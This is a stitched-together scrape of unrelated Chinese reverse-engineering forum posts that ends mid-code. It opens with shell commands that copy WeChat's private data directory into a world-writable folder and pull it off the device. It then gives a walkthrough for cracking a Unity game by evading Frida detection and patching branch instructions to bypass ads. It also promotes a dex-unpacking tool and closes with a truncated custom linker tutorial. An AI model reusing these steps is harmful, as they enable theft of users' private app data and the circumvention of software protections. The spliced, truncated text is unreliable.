4.切换为微信用户
1 | $ run - as victim |
可以看到此时shell已经是微信uid了。
5.获取微信数据
\\n1 2 3 4 5 | umi:/ $ mkdir /data/local/tmp/mm/ umi:/ $ touch /data/local/tmp/mm/mm . tar umi:/ $ chmod -R 0777 /data/local/tmp/mm/ umi:/ $ run-as victim umi: /data/user/0 $ tar -cf /data/local/tmp/mm/mm . tar com.tencent.mm |
拉取数据
\\n1 | adb pull / data / local / tmp / mm / mm.tar |
1 2 3 | 本人喜欢逆向,纯个人爱好,纯技术学习,如有侵仅,请联系我!技术能力有限如有错误或遗漏敬请见谅! 该游戏作为主流游戏,应用了较多的安全手段,采用U3D开发 + il2cpp,典型的标志是,APK包的 \\\\assets\\\\ bin \\\\Data\\\\Managed\\\\Metadata 目录,有 global - metadata.dat 同时\\\\lib中有libil2cpp.so,根据论坛学到的知识使用,采用Il2CppDumper 进行反编译,软件在github或论坛其它地方下载,使用方法略过,通过反编译能编译出以下文件: |
1 | 然后IDA打开 libil2cpp.so,用脚本加载后也能正常识别类名方法名和参数 |
乍一看,很容易,很顺利很正常,内容也看似非常正常。但实际上游戏在加载时应该是用了某种安全措施,对 global-metadata.dat 进行修改,对 libil2cpp.so 进行偏移或加密,具体安全方法未知,需要在内存中dump下 global-metadata.dat,同时 libil2cpp.so 上也进行了安全保护,只有在加载时进行dump,加载完后 libil2cpp.so 会进行加载,可通过frida进行dump具体方法论坛上有,dump通过 Il2CppDumper 反编译。
1 2 3 4 5 6 7 | 另外本游戏也有frida检测,如果采用USB或ATTACH模式均无法使用,实测需要通过修改端口并通过网络启动frida服务,同时需要用swap 模式进行优化附加,可以避开游戏 so 中对程序的附加(如果游戏自己附加了调试则无法frida)同时该游戏有通过 so 也无法进行IDA动态调试原因未知,不过能用frida 也很方便,不用动态调试也行。 以上工具使用详见论坛其它文章!本文重点在于分析的思路,是分享如何使用 dump.cs 和 libil2cpp.so 找到需求的关键位置,然后如何使用 frida 进行调试最终实现想要的功能,由于时间和篇幅的原因,无法详细到每一步的细节,以下以该游戏广告为例进行说明,游戏现状是多个功能或奖励需要查看 30 秒以上的广告才能获得,同时有些广告不能关闭且自动弹出各种窗口烦死人。 开干,用VS打开 dump.cs 我们可以看到游戏的逻辑代码的类和方法体,源代码编译在libil2cpp.so中。首先分析dump.cs文件,我们的需求是广告,那么直接搜AD 或者 show,找出可疑的,直接加入 frida中。 这里搜索 Ad 发现太多了,主要是有多很多包含Add的,太多了不好分析  |
于是使用正则把add过滤掉,搜索Ad[^d],还是有900多个
于是再换一个软件,可以用dnSpy打开dump.cs 打开ctrl+shift+k搜索程序集,包括Ad的类型,注意区分大小写,只有几十个比较,前几个发现 AdDataMgr 比较可疑,然后类打开看下,
可疑方法全部用frida hook住,先不管他们的参数先hook查看是否调用,和相应的流程,用frida启动游戏,发现果然打开广告时,果然有调用,调用流程是 ShowAd -> 时间到后调用 OnSuccess 其他的如OnClickAd、OnCloseAd没有调用,先不管了,有这两个,去掉这烦人的广告感觉应用可以,复制上图的方法的offset,打开IDA,按G键,输入offset,直接跳到方法,分析showAd,发现ShowAd中有两处调用了 OnSuccess , 通过IDA也查找内存引用也可以发现 OnSuccess 的调用位置
1 | 设想是否想法让 showAd 不经过其它无关代码,直接调用 OnSuccess 是不是就去广告了,但问题来了,首先 showAd中有两处调用 OnSuccess 是哪处呢?那么为了验证,我们就不对 OnSuccess 进行 hook ,转而hook 调用前的判断逻辑,去缩小范围,如下图: |
发现在调用二处hook有反馈,那么仔细分析代码,估计调用时机是打开广告时,判断是否为特权用户,如果是就直接跳转,那么查看汇编代码发现。OnSuccess 上面有两个if判断。
同样还是hook住 OnSuccess 直接先把 TBZ W0, #0, loc_13C1284 中TBZ换成TBNZ 使逻辑反向,运行测试,发现打开广告时,TBNZ位置有调用,然后 OnSuccess 没有调用,分析汇编代码直接把第二个判断 TBZ W0, #0, loc_13C1220 置空,点击广告直接运行 OnSuccess 至此去广告成功。
U3D游戏 hook libil2cpp.so 即可,关键代码如下:
将A0 06 00 36 修改为 A0 06 00 37即:TBZ换成TBNZ,只需要hook地址的第4字节将36修改为37
将CBZ X0, loc_13C1534 置空 NOP
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n1 2 3 | 上个周发现关注项目的人变少了,然后最近又没什么产出想起来有个脱壳项目,搞一下。 前天搞到晚上 4 点半,发现被单防了,然后第二天又搞了搞,真忍不住,发现好像搞错了,我这个心情啊。今天又修了一下发现确实有一定的防御。。有效果,效果不大。 这次其实没什么新技术的更新,只是把原来的项目整合到一起了。 |
1 2 3 4 5 6 7 8 | FixDexMethodCodeItem 单个dex文件修复,回直接从手机上用grpc拉去codeItem修这个文件 OnlyDumpDexFile(OutDexDir); 只进行dex文件的dump dumpWholeDexFileAndFix(OutDexDir); 一键dumpdex + 自动dump codeItem + 修复 dumpDexByClassAndFix dump传入的某个类的dex文件 OutDexDir 和worDir OutDexDir = worDir + 包名 ,会dump到 OutDexDir blockClassList 搞了个黑名单,我没试,群友提供的,是谁自己认领 jobs 线程个数单个线程跑非常慢,多个线程可能有问题,没专门做兼容,慢慢跑吧 |
不能usb,grpc需要局域网
\\ndump 这东西,很多时候你也不知道对抗在哪里,所以需要不断调试,提供了很多个dump方法,配合使用
\\ndumpDexByClassAndFix这个,本来是没有的,但是后来发现有对抗,有的类明明存在但是dump的dex中不存在,然后我就去验证这个类确实存在,但是dump不出来,应该是被对抗了,对象全局遍历的函数估计是被处理了导致有些类加载器不返回
\\n满,极慢,需要有耐心,每个classloader进行一次grpc调用
\\n崩溃,可能有各种崩溃,不要慌,再试试
\\ndump运行中报错,别慌,有些类修复可能出问题,但是会继续跑
\\n测试效果就不说了,目前还可以使用
\\n1 2 3 4 5 6 7 8 9 | ClassLoader{ 对应java classloader DexPathList pathList;{ 这个应该是版本遗留问题,可以可以是apk ,甚至可以是apk列表,多个apk,和下面含义重合 Element[] dexElements;{ 单个对应一个apk 或者多个apk, DexFile dexFile;{ 是dex列表 private Object mCookie; 实际是 long [] ,这个一个实际的dex文件列表 } } } } |
项目地址
https://github.com/Thehepta/androidGRPC
https://github.com/Thehepta/FixDexSmali
这次有点意气了,下次尽量不发这种纯工具类博客
有什么问题直接提出来,文档发现没什么需要写的,后续可以改一改
前一陣子在研究so加固,發現其中涉及自實現的Linker加載so的技術,而我對此知之什少,因此只好先來學習下Linker的加載流程。
\\n本文參考AOSP源碼和r0ysue大佬的文章( 不知為何文中給出的那個demo我一直跑不起來 )來實現一個簡單的自實現Linker Demo。
\\n環境:Pixel1XL
、AOSP - Oreo - 8.1.0_r81
Linker在加載so時大致可以分成五步:
\\n.dynamic
節的內容。.init
、.init_array
Read
利用open
+mmap
來將待加載的so文件映射到內存空間,存放在start_addr_
中。然後調用Read
函數來獲取ehdr、phdr等信息。
1 2 3 4 5 6 7 8 9 10 11 12 | int fd; struct stat sb; fd = open(path, O_RDONLY); fstat(fd, &sb); start_addr_ = static_cast < void **>(mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0)); // 1. 讀取so文件 if (!Read(path, fd, 0, sb.st_size)){ LOGD( \\"Read so failed\\" ); munmap(start_addr_, sb.st_size); close(fd); } |
Read
函數實現如下,調用ReadElfHeader
和ReadProgramHeaders
來讀取ehdr和phdr。
AOSP源碼的Read
中還會讀取Section Headers和Dynamic節,一開始我也有實現這部份的邏輯,但後來發現讀取後的信息根本沒有被用到,因此就把這部份給刪了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | bool MyLoader::Read( const char * name, int fd, off64_t file_offset, off64_t file_size) { bool res = false ; name_ = name; fd_ = fd; file_offset_ = file_offset; file_size_ = file_size; if (ReadElfHeader() && ReadProgramHeaders()) { res = true ; } return res; } |
ReadElfHeader
的實現如下,直接通過memcpy
來賦值。
1 2 3 | bool MyLoader::ReadElfHeader() { return memcpy (&(header_),start_addr_, sizeof (header_)); } |
ReadProgramHeaders
的實現直接copy源碼就可以,本質上還是內存映射的過程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | bool MyLoader::ReadProgramHeaders() { phdr_num_ = header_.e_phnum; size_t size = phdr_num_ * sizeof (ElfW(Phdr)); void * data = Utils::getMapData(fd_, file_offset_, header_.e_phoff, size); if (data == nullptr) { LOGE( \\"ProgramHeader mmap failed\\" ); return false ; } phdr_table_ = static_cast <ElfW(Phdr)*>(data); return true ; } void * Utils::getMapData( int fd, off64_t base_offset, size_t elf_offset, size_t size) { off64_t offset; safe_add(&offset, base_offset, elf_offset); off64_t page_min = page_start(offset); off64_t end_offset; safe_add(&end_offset, offset, size); safe_add(&end_offset, end_offset, page_offset(offset)); size_t map_size = static_cast < size_t >(end_offset - page_min); uint8_t* map_start = static_cast <uint8_t*>( mmap64(nullptr, map_size, PROT_READ, MAP_PRIVATE, fd, page_min)); if (map_start == MAP_FAILED) { return nullptr; } return map_start + page_offset(offset); } |
Load
調用Load
來載入so。
1 2 3 4 5 6 | // 2. 載入so if (!Load()) { LOGD( \\"Load so failed\\" ); munmap(start_addr_, sb.st_size); close(fd); } |
Load
的實現如下:
ReserveAddressSpace
用於生成一片新的內存空間,之後的操作基本上都是在這片內存空間進行。LoadSegments
、FindPhdr
用於將待加載so的對應信息填充到此內存空間。
最後要修正so,將當前so修正為待加載的so,這部份放到後面來解析。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | bool MyLoader::Load() { bool res = false ; if (ReserveAddressSpace() && LoadSegments() && FindPhdr()) { LOGD( \\"Load Done.........\\" ); res = true ; } // 獲取當前so (加載器的so) si_ = Utils::get_soinfo( \\"libnglinker.so\\" ); if (!si_) { LOGE( \\"si_ return nullptr\\" ); return false ; } LOGD( \\"si_ -> base: %lx\\" , si_->base); // 使si_可以被修改 mprotect(( void *) PAGE_START( reinterpret_cast <ElfW(Addr)>(si_)), 0x1000, PROT_READ | PROT_WRITE); // 修正so si_->base = load_start(); si_->size = load_size(); // si_->set_mapped_by_caller(elf_reader.is_mapped_by_caller()); si_->load_bias = load_bias(); si_->phnum = phdr_count(); si_->phdr = loaded_phdr(); return res; } |
ReserveAddressSpace
的具體實現如下,先計算出load_size_
後mmap
一片內存,在我這個demo中min_vaddr
是0
,因此load_start_ == load_bias_
,load_bias_
代表的就是這片內存,而這片內存是用來存放待加載的so。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | bool MyLoader::ReserveAddressSpace() { ElfW(Addr) min_vaddr; load_size_ = phdr_table_get_load_size(phdr_table_, phdr_num_, &min_vaddr); LOGD( \\"load_size_: %x\\" , load_size_); if (load_size_ == 0) { LOGE( \\"\\\\\\"%s\\\\\\" has no loadable segments\\" , name_.c_str()); return false ; } uint8_t* addr = reinterpret_cast <uint8_t*>(min_vaddr); void * start; // Assume position independent executable by default. void * mmap_hint = nullptr; start = mmap(mmap_hint, load_size_, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); load_start_ = start; load_bias_ = reinterpret_cast <uint8_t*>(start) - addr; return true ; } |
LoadSegments
的具體實現如下,遍歷Program Header Table將所有type為PT_LOAD
的段加載進內存,源碼中是采用mmap
來映射,但我嘗試後發現會有權限問題,因而采用memcpy
的方案。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | bool MyLoader::LoadSegments() { // 在這個函數中會往 ReserveAddressSpace // 裡mmap的那片內存填充數據 for ( size_t i = 0; i < phdr_num_; ++i) { const ElfW(Phdr)* phdr = &phdr_table_[i]; if (phdr->p_type != PT_LOAD) { continue ; } // Segment addresses in memory. ElfW(Addr) seg_start = phdr->p_vaddr + load_bias_; ElfW(Addr) seg_end = seg_start + phdr->p_memsz; ElfW(Addr) seg_page_start = PAGE_START(seg_start); ElfW(Addr) seg_page_end = PAGE_END(seg_end); ElfW(Addr) seg_file_end = seg_start + phdr->p_filesz; // File offsets. ElfW(Addr) file_start = phdr->p_offset; ElfW(Addr) file_end = file_start + phdr->p_filesz; ElfW(Addr) file_page_start = PAGE_START(file_start); ElfW(Addr) file_length = file_end - file_page_start; if (file_size_ <= 0) { LOGE( \\"\\\\\\"%s\\\\\\" invalid file size: %\\" , name_.c_str(), file_size_); return false ; } if (file_end > static_cast < size_t >(file_size_)) { LOGE( \\"invalid ELF file\\" ); return false ; } if (file_length != 0) { // 按AOSP裡那樣用mmap會有問題, 因此改為直接 memcpy mprotect( reinterpret_cast < void *>(seg_page_start), seg_page_end - seg_page_start, PROT_WRITE); void * c = ( char *)start_addr_ + file_page_start; void * res = memcpy ( reinterpret_cast < void *>(seg_page_start), c, file_length); LOGD( \\"[LoadSeg] %s seg_page_start: %lx c : %lx\\" , strerror ( errno ), seg_page_start, c); } // if the segment is writable, and does not end on a page boundary, // zero-fill it until the page limit. if ((phdr->p_flags & PF_W) != 0 && PAGE_OFFSET(seg_file_end) > 0) { memset ( reinterpret_cast < void *>(seg_file_end), 0, PAGE_SIZE - PAGE_OFFSET(seg_file_end)); } seg_file_end = PAGE_END(seg_file_end); // seg_file_end is now the first page address after the file // content. If seg_end is larger, we need to zero anything // between them. This is done by using a private anonymous // map for all extra pages. if (seg_page_end > seg_file_end) { size_t zeromap_size = seg_page_end - seg_file_end; void * zeromap = mmap( reinterpret_cast < void *>(seg_file_end), zeromap_size, PFLAGS_TO_PROT(phdr->p_flags), MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (zeromap == MAP_FAILED) { LOGE( \\"couldn\'t zero fill \\\\\\"%s\\\\\\" gap: %s\\" , name_.c_str(), strerror ( errno )); return false ; } // 分配.bss節 prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, zeromap, zeromap_size, \\".bss\\" ); } } return true ; } |
FindPhdr
的具體實現如下,簡單來說就是將Phdr信息填充進load_bias_
那片內存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | bool MyLoader::FindPhdr() { const ElfW(Phdr)* phdr_limit = phdr_table_ + phdr_num_; // If there is a PT_PHDR, use it directly. for ( const ElfW(Phdr)* phdr = phdr_table_; phdr < phdr_limit; ++phdr) { if (phdr->p_type == PT_PHDR) { return CheckPhdr(load_bias_ + phdr->p_vaddr); } } // Otherwise, check the first loadable segment. If its file offset // is 0, it starts with the ELF header, and we can trivially find the // loaded program header from it. for ( const ElfW(Phdr)* phdr = phdr_table_; phdr < phdr_limit; ++phdr) { if (phdr->p_type == PT_LOAD) { if (phdr->p_offset == 0) { ElfW(Addr) elf_addr = load_bias_ + phdr->p_vaddr; const ElfW(Ehdr)* ehdr = reinterpret_cast < const ElfW(Ehdr)*>(elf_addr); ElfW(Addr) offset = ehdr->e_phoff; return CheckPhdr( reinterpret_cast <ElfW(Addr)>(ehdr) + offset); } break ; } } LOGE( \\"can\'t find loaded phdr for \\\\\\"%s\\\\\\"\\" , name_.c_str()); return false ; } bool MyLoader::CheckPhdr(ElfW(Addr) loaded) { const ElfW(Phdr)* phdr_limit = phdr_table_ + phdr_num_; ElfW(Addr) loaded_end = loaded + (phdr_num_ * sizeof (ElfW(Phdr))); for ( const ElfW(Phdr)* phdr = phdr_table_; phdr < phdr_limit; ++phdr) { if (phdr->p_type != PT_LOAD) { continue ; } ElfW(Addr) seg_start = phdr->p_vaddr + load_bias_; ElfW(Addr) seg_end = phdr->p_filesz + seg_start; if (seg_start <= loaded && loaded_end <= seg_end) { loaded_phdr_ = reinterpret_cast < const ElfW(Phdr)*>(loaded); return true ; } } LOGE( \\"\\\\\\"%s\\\\\\" loaded phdr %p not in loadable segment\\" , name_.c_str(), reinterpret_cast < void *>(loaded)); return false ; } |
Load
函數最後是在對soinfo的修正,將當前so( 加載器 )修正為待加載的so。AOSP源碼中的si_
是通過特定方法new出來的全新soinfo,而我看大多數文章都是獲取當前so作為si_
,然後修正其中的信息。
本來是想嘗試按AOSP源碼那樣new一個soinfo看看結果有什麼不同,但最終被soinfo結構的複雜性勸退了。
\\n修正so的第一步是要獲取當前so的soinfo對象,從這篇文章發現find_containing_library
這個函數,似乎可以一步到位直接獲取soinfo對象。該函數位於linker64
中,將它拉入IDA,能直接搜尋到該函數,這意味著能夠「借用」這個函數。
想要「借用」linker64
裡的find_containing_library
,需要知道linker64
在內存的基址和find_containing_library
的函數偏移( 相對基址的偏移 ),前者可以通過遍歷/proc/self/maps
來取得,而後者的獲取有以下兩種思路:
0x9AB0
)linker64
的文件,自動獲取,具體實現在Utils::get_export_func
中。成功獲取find_containing_library
地址後,強轉成FunctionPtr
函數指針後即可調用,參數為當前so的地址( 同樣是遍歷maps取得的 ),最終會返回當前so的soinfo對象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | soinfo* Utils::get_soinfo( const char * so_name) { typedef soinfo* (*FunctionPtr)(ElfW(Addr)); char line[1024]; ElfW(Addr) linker_base = 0; ElfW(Addr) so_addr = 0; FILE *fp= fopen ( \\"/proc/self/maps\\" , \\"r\\" ); while ( fgets (line, sizeof (line), fp)) { if ( strstr (line, \\"linker64\\" ) && !linker_base) { char * addr = strtok (line, \\"-\\" ); linker_base = strtoull(addr, NULL, 16); } else if ( strstr (line, so_name) && !so_addr) { char * addr = strtok (line, \\"-\\" ); so_addr = strtoull(addr, NULL, 16); } if (linker_base && so_addr) break ; } ElfW(Addr) func_offset = Utils::get_export_func( \\"/system/bin/linker64\\" , \\"find_containing_library\\" ); if (!func_offset) { LOGE( \\"func_offset == 0? check it ---\x3e get_soinfo\\" ); return nullptr; } // ElfW(Addr) find_containing_library_addr = static_cast<ElfW(Addr)>(linker_base + 0x9AB0); ElfW(Addr) find_containing_library_addr = static_cast <ElfW(Addr)>(linker_base + func_offset); FunctionPtr find_containing_library = reinterpret_cast <FunctionPtr>(find_containing_library_addr); return find_containing_library(so_addr); } |
get_export_func
的實現如下,主要依賴於elf的文件結構,可以參考下我之前寫的文章,大致原理如下:
e_shstrndx
是一個索引,指向了.shstrtab
節區,而.shstrtab
節區存儲著所有節區的名字。.symtab
和.strtab
的節區( .symtab
節每項都有一個st_name
屬性,是.strtab
節區的一個索引值,指向某符號名 ).symtab
節區,對比func_name
,匹配則返回對應的函數偏移。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | ElfW(Addr) Utils::get_export_func( char * path, char * func_name) { struct stat sb; int fd = open(path, O_RDONLY); fstat(fd, &sb); void * base = mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); // 讀取elf header ElfW(Ehdr) header; memcpy (&(header), base, sizeof (header)); // 讀取Section header table size_t size = header.e_shnum * sizeof (ElfW(Shdr)); void * tmp = mmap(nullptr, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // 注: 必須要 MAP_ANONYMOUS LOGD( \\"error: %s\\" , strerror ( errno )); ElfW(Shdr)* shdr_table; memcpy (tmp, ( void *)((ElfW(Off))base + header.e_shoff), size); shdr_table = static_cast <ElfW(Shdr)*>(tmp); char * shstrtab = reinterpret_cast < char *>(shdr_table[header.e_shstrndx].sh_offset + (ElfW(Off))base); void * symtab = nullptr; char * strtab = nullptr; uint32_t symtab_size = 0; // 遍歷獲取.symtab和.strtab節 for ( size_t i = 0; i < header.e_shnum; ++i) { const ElfW(Shdr) *shdr = &shdr_table[i]; char * section_name = shstrtab + shdr->sh_name; if (! strcmp (section_name, \\".symtab\\" )) { // LOGD(\\"[test] %d: shdr->sh_name = %s\\", i, (shstrtab + shdr->sh_name)); symtab = reinterpret_cast < void *>(shdr->sh_offset + (ElfW(Off))base); symtab_size = shdr->sh_size; } if (! strcmp (section_name, \\".strtab\\" )) { // LOGD(\\"[test] %d: shdr->sh_name = %s\\", i, (shstrtab + shdr->sh_name)); strtab = reinterpret_cast < char *>(shdr->sh_offset + (ElfW(Off))base); } if (strtab && symtab) break ; } // 讀取 Symbol table ElfW(Sym)* sym_table; tmp = mmap(nullptr, symtab_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy (tmp, symtab, symtab_size); sym_table = static_cast <ElfW(Sym)*>(tmp); int sym_num = symtab_size / sizeof (ElfW(Sym)); // 遍歷 Symbol table for ( int i = 0; i < sym_num; i++) { const ElfW(Sym) *sym = &sym_table[i]; char * sym_name = strtab + sym->st_name; if ( strstr (sym_name, func_name)) { return sym->st_value; } } return 0; } |
成功獲取si_
後要修改其對應屬性。在這裡我遇到一個很玄學的問題,就是一開始不知為什麼死活修改不了si_
的屬性,一改就會報內存讀寫的錯,即使mprotect
賦予可讀可寫權限也無用,嘗試了各種方法都無用,在這卡了我好幾天,直到某次重啟手機後就突然好了???
1 2 3 4 5 6 7 8 9 10 | // 使si_可以被修改 mprotect(( void *) PAGE_START( reinterpret_cast <ElfW(Addr)>(si_)), 0x1000, PROT_READ | PROT_WRITE); // 修正so si_->base = load_start(); si_->size = load_size(); // si_->set_mapped_by_caller(elf_reader.is_mapped_by_caller()); si_->load_bias = load_bias(); si_->phnum = phdr_count(); si_->phdr = loaded_phdr(); |
soinfo結構體定義在bionic/linker/linker_soinfo.h
中。
將它copy到本地後會有很多報錯,一開始我是將那些沒有用到又報紅的直接刪掉,但後來發現這樣做會間接導致最後發生「android linker java.lang.unsatisfiedlinkerror: no implementation found for XXX
」的錯誤( 這個錯誤我排查了很久很久,最終才發現是soinfo結構的問題,果然細節決定成敗…… )。
正確的做法是必須要保留所有的成員變量( 即使該變量用不到也要留下來占位 ),函數由於不占空間可以隨便刪掉。
\\nprelink_image
預鏈接,主要是在遍歷.dynamic
節獲取各種動態信息並保存在修正後的soinfo中。
1 2 | // 3. 預鏈接, 主要處理 .dynamic節 si_->prelink_image() |
prelink_image
的具體實現太長( 基本上是copy源碼的 )就不展示了,比較大的改動是在DT_NEEDED
時手動保存對應的依賴庫,之後重定向時會用到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | bool soinfo::prelink_image() { /* Extract dynamic section */ ElfW(Word) dynamic_flags = 0; Utils::phdr_table_get_dynamic_section(phdr, phnum, load_bias, &dynamic, &dynamic_flags); if (dynamic == nullptr) { return false ; } else { } for (ElfW(Dyn)* d = dynamic; d->d_tag != DT_NULL; ++d) { LOGD( \\"d = %p, d[0](tag) = %p d[1](val) = %p\\" , d, reinterpret_cast < void *>(d->d_tag), reinterpret_cast < void *>(d->d_un.d_val)); switch (d->d_tag) { // ... case DT_NEEDED: // 手動保留所有依賴庫, 用於之後的重定位 myneed[needed_count] = d->d_un.d_val; ++needed_count; break ; // ... } } return true ; } |
link_image
link_image
裡處理重定向信息。
1 2 | // 4. 正式鏈接, 在這裡處理重定位的信息 si_->link_image(); |
link_image
的實現如下,android_relocs_
的重定向我沒有處理( 嘗試處理過,但有點問題就刪了 ),好像問題不大?
之後調用relocate
對rela_
和plt_rela_
的內容進行重定向。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | bool soinfo::link_image() { local_group_root_ = this ; if (android_relocs_ != nullptr) { LOGD( \\"android_relocs_ 不用處理?\\" ); } else { LOGE( \\"bad android relocation header.\\" ); // return false; } ///* #if defined(USE_RELA) if (rela_ != nullptr) { LOGD( \\"[ relocating %s ]\\" , get_realpath()); if (!relocate(plain_reloc_iterator(rela_, rela_count_))) { return false ; } } if (plt_rela_ != nullptr) { LOGD( \\"[ relocating %s plt ]\\" , get_realpath()); if (!relocate(plain_reloc_iterator(plt_rela_, plt_rela_count_))) { return false ; } } #else LOGE( \\"TODO: !defined(USE_RELA) \\" ); #endif LOGD( \\"[ finished linking %s ]\\" , get_realpath()); // We can also turn on GNU RELRO protection if we\'re not linking the dynamic linker // itself --- it can\'t make system calls yet, and will have to call protect_relro later. if (!((flags_ & FLAG_LINKER) != 0) && !protect_relro()) { return false ; } return true ; } |
relocate
函數的實現如下,在重定位時最需要確定的就是目標函數的真實地址。
這裡采用一種偷懶的方式,直接遍歷所有依賴庫( 之前保存在myneed
中 ),調用dlopen
+dlsym
查找對應函數地址,找到的結果會保存在sym_addr
中,後續再根據type
來決定重定位的方式;而如果遍歷完所有依賴庫都沒有找到,則嘗試從symtab_[sym].st_value
裡獲取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | template < typename ElfRelIteratorT> bool soinfo::relocate(ElfRelIteratorT&& rel_iterator) { for ( size_t idx = 0; rel_iterator.has_next(); ++idx) { const auto rel = rel_iterator.next(); if (rel == nullptr) { return false ; } ElfW(Word) type = ELFW(R_TYPE)(rel->r_info); ElfW(Word) sym = ELFW(R_SYM)(rel->r_info); // reloc 指向需要重定向的內容, 根據type來決定重定向成什麼 ElfW(Addr) reloc = static_cast <ElfW(Addr)>(rel->r_offset + load_bias); ElfW(Addr) sym_addr = 0; const char * sym_name = nullptr; ElfW(Addr) addend = Utils::get_addend(rel, reloc); // LOGD(\\"Processing \\\\\\"%s\\\\\\" relocation at index %zd\\", get_realpath(), idx); if (type == R_GENERIC_NONE) { continue ; } const ElfW(Sym)* s = nullptr; soinfo* lsi = nullptr; if (sym != 0) { sym_name = get_string(symtab_[sym].st_name); LOGD( \\"sym = %lx sym_name: %s st_value: %lx\\" , sym, sym_name, symtab_[sym].st_value); for ( int s = 0; s < needed_count; s++) { void * handle = dlopen(get_string(myneed[s]),RTLD_NOW); sym_addr = reinterpret_cast <Elf64_Addr>(dlsym(handle, sym_name)); if (sym_addr) break ; } if (!sym_addr) { if (symtab_[sym].st_value != 0) { sym_addr = load_bias + symtab_[sym].st_value; } else { LOGE( \\"%s find addr fail\\" , sym_name); } } else { LOGD( \\"%s find addr success : %lx\\" , sym_name, sym_addr); } } LOGD( \\"reloc addr: %x\\" , (reloc - base)); LOGD( \\"type: %x\\" , type); switch (type) { case R_GENERIC_JUMP_SLOT: * reinterpret_cast <ElfW(Addr)*>(reloc) = (sym_addr + addend); break ; case R_GENERIC_GLOB_DAT: * reinterpret_cast <ElfW(Addr)*>(reloc) = (sym_addr + addend); break ; case R_GENERIC_RELATIVE: * reinterpret_cast <ElfW(Addr)*>(reloc) = (load_bias + addend); break ; case R_GENERIC_IRELATIVE: { ElfW(Addr) ifunc_addr = Utils::call_ifunc_resolver(load_bias + addend); * reinterpret_cast <ElfW(Addr)*>(reloc) = ifunc_addr; } break ; #if defined(__aarch64__) case R_AARCH64_ABS64: LOGD( \\"R_AARCH64_ABS64 %lx addend: %lx\\" , sym_addr + addend, addend); * reinterpret_cast <ElfW(Addr)*>(reloc) = sym_addr + addend; break ; case R_AARCH64_ABS32: { const ElfW(Addr) min_value = static_cast <ElfW(Addr)>(INT32_MIN); const ElfW(Addr) max_value = static_cast <ElfW(Addr)>(UINT32_MAX); if ((min_value <= (sym_addr + addend)) && ((sym_addr + addend) <= max_value)) { * reinterpret_cast <ElfW(Addr)*>(reloc) = sym_addr + addend; } else { LOGE( \\"0x%016llx out of range 0x%016llx to 0x%016llx\\" , sym_addr + addend, min_value, max_value); return false ; } } break ; case R_AARCH64_ABS16: { const ElfW(Addr) min_value = static_cast <ElfW(Addr)>(INT16_MIN); const ElfW(Addr) max_value = static_cast <ElfW(Addr)>(UINT16_MAX); if ((min_value <= (sym_addr + addend)) && ((sym_addr + addend) <= max_value)) { * reinterpret_cast <ElfW(Addr)*>(reloc) = (sym_addr + addend); } else { LOGE( \\"0x%016llx out of range 0x%016llx to 0x%016llx\\" , sym_addr + addend, min_value, max_value); return false ; } } break ; case R_AARCH64_PREL64: * reinterpret_cast <ElfW(Addr)*>(reloc) = sym_addr + addend - rel->r_offset; break ; case R_AARCH64_PREL32: { const ElfW(Addr) min_value = static_cast <ElfW(Addr)>(INT32_MIN); const ElfW(Addr) max_value = static_cast <ElfW(Addr)>(UINT32_MAX); if ((min_value <= (sym_addr + addend - rel->r_offset)) && ((sym_addr + addend - rel->r_offset) <= max_value)) { * reinterpret_cast <ElfW(Addr)*>(reloc) = sym_addr + addend - rel->r_offset; } else { LOGE( \\"0x%016llx out of range 0x%016llx to 0x%016llx\\" , sym_addr + addend - rel->r_offset, min_value, max_value); return false ; } } break ; case R_AARCH64_PREL16: { const ElfW(Addr) min_value = static_cast <ElfW(Addr)>(INT16_MIN); const ElfW(Addr) max_value = static_cast <ElfW(Addr)>(UINT16_MAX); if ((min_value <= (sym_addr + addend - 